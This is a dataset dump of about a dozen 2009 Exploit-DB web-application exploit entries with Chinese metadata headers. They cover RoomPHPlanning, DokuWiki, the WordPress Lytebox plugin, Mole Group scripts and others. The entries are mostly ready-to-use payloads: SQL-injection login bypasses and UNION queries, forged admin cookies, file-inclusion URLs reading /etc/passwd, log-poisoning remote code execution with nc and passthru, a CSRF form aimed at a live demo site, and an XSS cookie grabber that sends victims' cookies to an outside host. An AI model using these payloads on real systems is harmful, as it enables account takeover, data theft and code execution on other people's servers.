QLWD/code_shield huggingface dataset:
标题: roomphplanning 1.6 - Multiple Vulnerabilities EDB-ID: 8797 CVE: 2009-4671 2009-4670 2009-4669 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: o       o       o  O     O
 ooooooo 0     oooo          OOOo  o       o       o  O O   O
    0    0     0             o  o  o       o       o  O  O  O
    0    0000  oooo  ooooo   o  o  oooooo  o       o  O   O O
    0    0  0  0     0   0   o  o  O     O o       o  O    OO
    0    0  0  oooo  ooooo   oooo  OOOOOO  oooooo {O} O     O
                         0
                         0 
                         0
                    0    0
                    0oooo0
################################################################################################
[+] RoomPHPlanning v1.6 Multiple Remote Exploit Vulnerabilities
[+] Discovered By : ThE g0bL!N      
[+] Greetz : All my freind      
[+] Note: Tested On localhost :)
[+] Download:http://www.beaussier.com/roomphplanning/telecharge.php
################################################################################################
Auth Bypass
-----------
File: Login.php
-----
 $qry =  "SELECT IdUs, NameUs ".
   "FROM ".USER." ". => Vuln
   "WHERE LoginUs = '".$_GET['loginus']." ' ".
   "AND PwdUs = '".$pwdus." ' "; => Vuln2
Exploit:
--------
username:real_user' or '1=1
password:ThE g0bL!N
###############################################################################################
Cookies Insecure
------------
File:Login.php
----
setcookie($cookie,$idus,time()+3600,"/");=> $cookiename=room_phplanning $idus= user_id
Exploit:
-------
javascript:document.cookie="room_phplanning=[admin_id];path=/";
Then go to Url: /admin/
###############################################################################################
SQL Injection
-------------
After login
admin/userform.php?id=-1+union+select+1,concat(LoginUs,0x3a,PwdUs),3+FROM+rp_user+where%20IdUs=1--
###############################################################################################
Delete Rooms (out Of cookies)
------------
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?room=$room id
Example:
-------
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?room=1
Delete Users(out Of cookies)
------------:
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?user=user id
Example:
-------
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?user=5
###############################################################################################
Remote Change Password Bypassing:
--------------------------------
Go to url:
----------
http://victim.co.il/changepwd.php
Old Password :admin_name' or '1=1
New Password New pass
Write twice: Retype Your New pass
Then Enter With New pass :)
###############################################################################################
Greeting ;His0k4 - Dr-HTmL - M0nSt3r-Dz Dz_V!RuS( win rak :( ) ViRuS_HaCkErS_Dz ( Djelloul Al meshakaf ) (:
###############################################################################################

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8797
标题: Webradev Download Protect 1.0 - Remote File Inclusion EDB-ID: 8792 CVE: 2009-4666 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: #########################################################
#
#    Webradev Download Protect v1.0  Remote File Inclusion
#     
#========================================================
#    Author : asL-Sabia                       =
#                                                        =
#    Home : www.v4-Team.com         =
#                                                        =
#    email: asL-Sabia@hotmail.com     =
#                                                        =
#                                                        =
#########################################################

scripts : http://www.httpdocs.org/scripts/support-client-management-systems/326-webradev-download-protect-v1-0/


DorK    :  :)

=========================================================
:
:
:
ExploiT :
:
:
: http://host/path/includes/DProtect/Framework/EmailTemplates.class.php?GLOBALS[RootPath]=shell.txt
:
:
: http://host/path/includes/DProtect/Customers/PDPEmailReplaceConstants.class.php?GLOBALS[RootPath]=shell.txt
:
:
: http://host/path/includes/DProtect/Admin/ResellersManager.class.php?GLOBALS[RootPath]=shell.txt
:
:
---------------------------------------------------------

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8792
标题: WordPress Plugin Lytebox - 'wp-lytebox' Local File Inclusion EDB-ID: 8791 CVE: 2009-4672 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: WP Plugin Lytebox Local File Ä°nclude and Remote Code Exe.

Download ; http://grupenet.com/wp-content/uploads/wp-lytebox.zip

Author : TurkGuvenligi

Site : www.turkguvenligi.info - admin@turkguvenligi.info

Agd_Scorp - t4cs1zkr4L - TheHacker - Fatih - BLaSTeR

LFÄ°;

http://localhost/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/profile%00

RCE;

open cmd (cmd aÃ§Ä±yoruz)

nc -vv 127.0.0.1 80 (connecting)
GET /<?php passthru(\$_GET[cmd]); ?> HTTP/1.0
Host : www.target.com

Our error is recorded and access_log :) yeah

http://localhost/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../var/log/apache2/access_log&cmd=[RCE]

access_log file ;


../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../etc/httpd/logs/access_log
../../../../../../../../../../etc/httpd/logs/access.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/apache2/error_log
../../../../../../../../../../var/log/apache2/error.log
../../../../../../../../../../var/log/apache2/access_log
../../../../../../../../../../var/log/apache2/access.log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/error_log
../../../../../../../../../../var/log/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/access.log

good by. [www.turkguvenligi.info]

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8791
标题: Cute Editor ASP.NET - Remote File Disclosure EDB-ID: 8785 CVE: 2009-4665 类型: WEBAPPS 平台: ASP 发布日期: 2009-05-26 漏洞利用脚本: ######################### Securitylab.ir ########################
# Application Info:
# Name: Cute Editor
# Version: ASP.NET
# Website: http://cutesoft.net
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download
# Risk: Medium
# Dork: inurl:CuteSoft_Client/CuteEditor
#===========================================================
# http://www.site.com/CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
#===========================================================
#################################################################
# For test:
# http://cuteeditor.51aspx.com
# http://ttgo.cc/company
# http://www.auditon.co.il
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8785
标题: ArcaVir 2009 < 9.4.320X.9 - 'ps_drv.sys' Local Privilege Escalation EDB-ID: 8782 CVE: 2009-1824 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-26 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | ArcaBit Sp. z o.o. - http://www.arcabit.com/                               | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | ArcaVir 2009 Antivirus Protection <= 9.4.3201.9                            | //
// | ArcaVir 2009 Internet Security <= 9.4.3202.9                               | //
// | ArcaVir 2009 System Protection <= 9.4.3203.9                               | //
// | ArcaVir 2009 Home Protection <= 9.4.3204.9                                 | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | ps_drv.sys                                                                 | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 23 May 2009                                                                | //
// |                                                                            | //
// | References:                                                                | //
// | ArcaVir (ps_drv.sys) Multiple Privilege Escalation Vulnerabilities         | //
// | NTIADV0814 - http://www.ntinternals.org/ntiadv0814/ntiadv0814.html         | //
// |                                                                            | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://www.reversemode.com/                             | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://ntinternals.org/ntiadv0814/PsDrv_Exp.zip

Mirror:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8782.zip (2009-PsDrv_Exp.zip)

Advisory:
http://ntinternals.org/ntiadv0814/ntiadv0814.html

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8782
标题: Dokuwiki 2009-02-14 - Local File Inclusion EDB-ID: 8781 CVE: 2009-1960 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: # Author_  girex
# Homepage_  girex.altervista.org

# CMS_   Dokuwiki
# Homepage_  dokuwiki.org

# Affected versions_ 2009-02-14
   rc2009-02-06
   rc2009-01-30

# Bug_   Local file inclusion
# Need_   register_globals = On


# Vuln description_
# File: /inc/init.php

  // if available load a preload config file
  $preload = fullpath(dirname(__FILE__)).'/preload.php';
  if (@file_exists($preload)) include($preload);

  ...

  //set the configuration cascade - but only if its not already been set in preload.php
  global $config_cascade;
  if (empty($config_cascade)) {
    $config_cascade = array(
      'main' => array(
        'default'   => array(DOKU_CONF.'dokuwiki.php'),
        'local'     => array(DOKU_CONF.'local.php'),
        'protected' => array(DOKU_CONF.'local.protected.php'),
      ),
  
  ...

  // load the global config file(s)
  foreach (array('default','local','protected') as $config_group) {
    if (empty($config_cascade['main'][$config_group])) continue;
    foreach ($config_cascade['main'][$config_group] as $config_file) {
      if (@file_exists($config_file)) {
        include($config_file);
      }
    }
  }


# File preload.php doesn't exists. (so seems for the affected versions)
# So we can set $config_cascade arrays via register globals
# It's not a RFI couse use of file_exists function.

# First of all you can check the dokuwiki's version here:
# /[host]/[path]/VERSION
# and check if it's a vulnerable version

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README

# Note:
# You can obtain a remote command execution if you can edit the content of a page
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
# And include it:

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt

# Or you can check if you have permissions to upload file via:
# [host]/[path]/lib/exe/mediamanager.php

# If so, upload your file with .doc extension then include it:

# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8781
标题: Mole Adult Portal Script - 'profile.php?user_id' SQL Injection EDB-ID: 8788 CVE: 2009-4673 2009-3358 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: ||          ||   | ||
           o_,_7 _||  . _o_7 _|| q_|_||  o_w_,
          ( :   /    (_)    /           (   .


=By:  Qabandi
=Email: iqa[a]hotmail.fr

 From Kuwait PEACE

=Vuln:  Mole Adult Portal Script - SQL Injection Vulnerability
=INFO:  http://www.mole-group.com/scripts/scripts/adult-portal-escort-listing-script.html
=BUY:    http://www.mole-group.com/scripts/scripts/payment.html
=DORK:  --

                                    -\18+/-
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-Injection-PoC-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Magic Quot. needs to be OFF

LIVE DEMO:
http://adult.mole-group.com/profile.php?user_id=-3%27%20UNION%20SELECT%201,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86/*

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-==-==-=-Te-=-Amo=-=-Vio-=-==-=-==-=-=-=-==-=-==-=-=-=-=-=-=
=-=-=-=-==-=-=-=-=-=-No--More---Private=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Salamz: Killer Hack, Mr.Mn7os, All muslim hackers.

# milw0rm.com [2009-05-26] URL: https://www.exploit-db.com/exploits/8788
标题: Article Directory - 'page.php' Blind SQL Injection EDB-ID: 8762 CVE: 2009-2235 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-21 漏洞利用脚本: --------------------------------------------------------------
Article Directory  (page.php) Remote Blind SQL Injection Exploit
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:http://www.yourarticlesdirectory.com
Software : Article Directory
Thank You Very Much Hakxer :)
---------------------------------------------------------------
Exploit1:
-------
http://victim/[path]/page.php?id=14+AND+1=1%23  [ False ]
http://victim/[path]/page.php?id=14+AND+1=0%23   [ True ]
-----------------------------------------------------------------------------------------------------
His0k4  - Dr-HTmL , Dos-Dz TeaM , Snakes TeaM ArAb Academy Security Team,And Ev!L-C0d3r.
-----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-05-21] URL: https://www.exploit-db.com/exploits/8762
标题: Mole Group Restaurant Directory Script 3.0 - Change Admin Password EDB-ID: 8775 CVE: 2009-4675 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-22 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...FROM IRAN

==============================================================================
 Mole Group Restaurant Directory Script 3.0 Change Admin Pass Vuln
==============================================================================

 [Â»] Script:.............[ Mole Group Restaurant Directory Script 3.0 ]
 [Â»] Website:............[ http://www.mole-group.com ].................
 [Â»] Today:..............[ 2205009 ]...................................
 [Â»] Founder:............[ G4N0K | mail[.]ganok[sh!t]gmail.com ].......


 
  [+] NFO
 ===============================
       Fireup your web-browser, Navigate to "http://127.0.0.1/admin/admin_info/index.php" and then
    fill the form and submit it.

  [+] Demo
 ===============================
       http://restaurant.mole-group.com/admin/admin_info/index.php


  [+] Greetz
 ===================================
       [Â»] ALLAH
       [Â»] MSD, AMD, AFN, SMN, Str0ke...
       [Â»] Hussain-X, JiKo, Sakab(!)...

# milw0rm.com [2009-05-22] URL: https://www.exploit-db.com/exploits/8775
标题: Mole Group Sky Hunter/Bus Ticket Scripts - Change Admin Password EDB-ID: 8774 CVE: 2009-4674 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-22 漏洞利用脚本: <html>
<head>
<!-- 
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...FROM IRAN

==============================================================================
 Mole Group Sky Hunter/Bus Ticket Scripts Change Admin Pass Exploit
==============================================================================

 [Â»] Script:.............[ Mole Group Sky Hunter/Bus Ticket Scripts ]..
 [Â»] Website:............[ http://www.mole-group.com ].................
 [Â»] Today:..............[ 2205009 ]...................................
 [Â»] Founder:............[ G4N0K | mail[.]ganok[sh!t]gmail.com ].......


 
  [+] Vulnerable Scripts
 ===============================
       [0] Sky Hunter Script (demo: http://sky.mole-group.com/admin/admin.php)
       [1] Bus Ticket Script (demo: http://bus.mole-group.com/admin/admin.php)



  [+] Greetz
 ===================================
       [Â»] ALLAH
       [Â»] MSD, AMD, AFN, SMN, Str0ke...
       [Â»] Hussain-X, JiKo, Sakab(!)...

-->
<title>Mole Group Sky Hunter/Bus Ticket Scripts Change Admin Pass Exploit | G4N0K</title>

</head>
<body>

 <h3>::Change Password</h3>

 <table>
  <tr>
   <form method="post" action="http://sky.mole-group.com/admin/admin.php">
   <input type="hidden" name="user_id" value="1">
   <td align=right>Username:</td>
   <td align=left><input name="user_name" size="40" maxlength="40" value="admin"><td>
  </tr>
  <tr>
   <td align=right>New Password:</td><td align=left><input name="password" size="40" maxlength="40" ><td>
  </tr>
  <tr>
   <td></td><td><input type="submit" name="submit" value="Change Password"></td>
   </form>
  </tr>
 </table>
</body>
</html>

# milw0rm.com [2009-05-22] URL: https://www.exploit-db.com/exploits/8774
标题: Tutorial Share 3.5.0 - Insecure Cookie Handling EDB-ID: 8766 CVE: 2009-2293 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-22 漏洞利用脚本: --------------------------------------------------------------
Tutorial Share 3.4 Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Auothr :Evil-Cod3r
Home: Creativexploit.com
Contact : Xky@hotmail.com & ie7@windowslive.com
Software : Tutorial Share 3.4
Home : tutorial-share.com
---------------------------------------------------------------
Exploit:
---------
www.site.com/admin/
javascript:document.cookie="usernamed=demo;path=/";
demo = username site :D
---------------------------------------------------------------
demo:
---------
http://www.tutorial-share.com/demo/admin/
-----------------------------------------------------------------------------------------------------
The-g0bL!N  - His0k4  - Cyb3r-Devil  - Mangear Play :) & Str0ke
-----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-05-22] URL: https://www.exploit-db.com/exploits/8766
标题: Article Directory - Authentication Bypass EDB-ID: 8761 CVE: 2009-2236 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-21 漏洞利用脚本: ___ ___         __                        
 /   |   \_____  |  | _____  ___ ___________
/    ~    \__  \ |  |/ /\  \/  // __ \_  __ \
\    Y    // __ \|    <  >    <\  ___/|  | \/
 \___|_  /(____  /__|_ \/__/\_ \\___  >__|  
       \/      \/     \/      \/    \/   :: Egy Coders Team Researcher
/- Your Article Directory => multiple vulnerabilities
/- site : http://www.yourarticlesdirectory.com
/- Demo : http://www.ezynearticles.com/designs/demo/yad-admin
/- Greetz : all my friends
/- http://hakxer.blogspot.com/

* hi every body
* in this vulnerability you can get Authentication to bypass admin panel
* first go to http://host/path/yad-admin/
* and in admin type
 * username : admin 'or' 1=1
 * password : hakxer
* now we in panel
* you can make a cross site scripting vulnerability in panel
* go to http://host/path/yad-admin/newpage.php
* then in title write anything and in content write
 * >"<script>alert("hakxer")</script><div style="1
* and click save page and go to http://host/path/yad-admin/pages.php
* and goto this http://host/path/yad-admin/newpages.php?id=[id]
* xss was running successfully

* if you want to get the admin cookie
* you can use cookie grabber and to make it you can see this steps :
         * first make file ( logger.php ) and input this code in it
              <?php
            $cookie = $_GET['cookie'];
            $logger = fopen("logger.txt", "a");
            fwrite($logger, $cookie ."\n");
            fclose($logger);
            ?>
         * and upload file into any webhost
         * then create logger.txt and chmod it to 777
         * now the time to attack
         * goto http://host/path/yad-admin/newpage.php
         * and in title write ( blah blah come admin ) :d
         * and in content write this js code
    <script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script>
         * and click save page
         * now if admin go to our saved page the cookie will send to logger.txt

** notes :
        ** use it in your own risk
       
./be safe - Hakxer -

# milw0rm.com [2009-05-21] URL: https://www.exploit-db.com/exploits/8761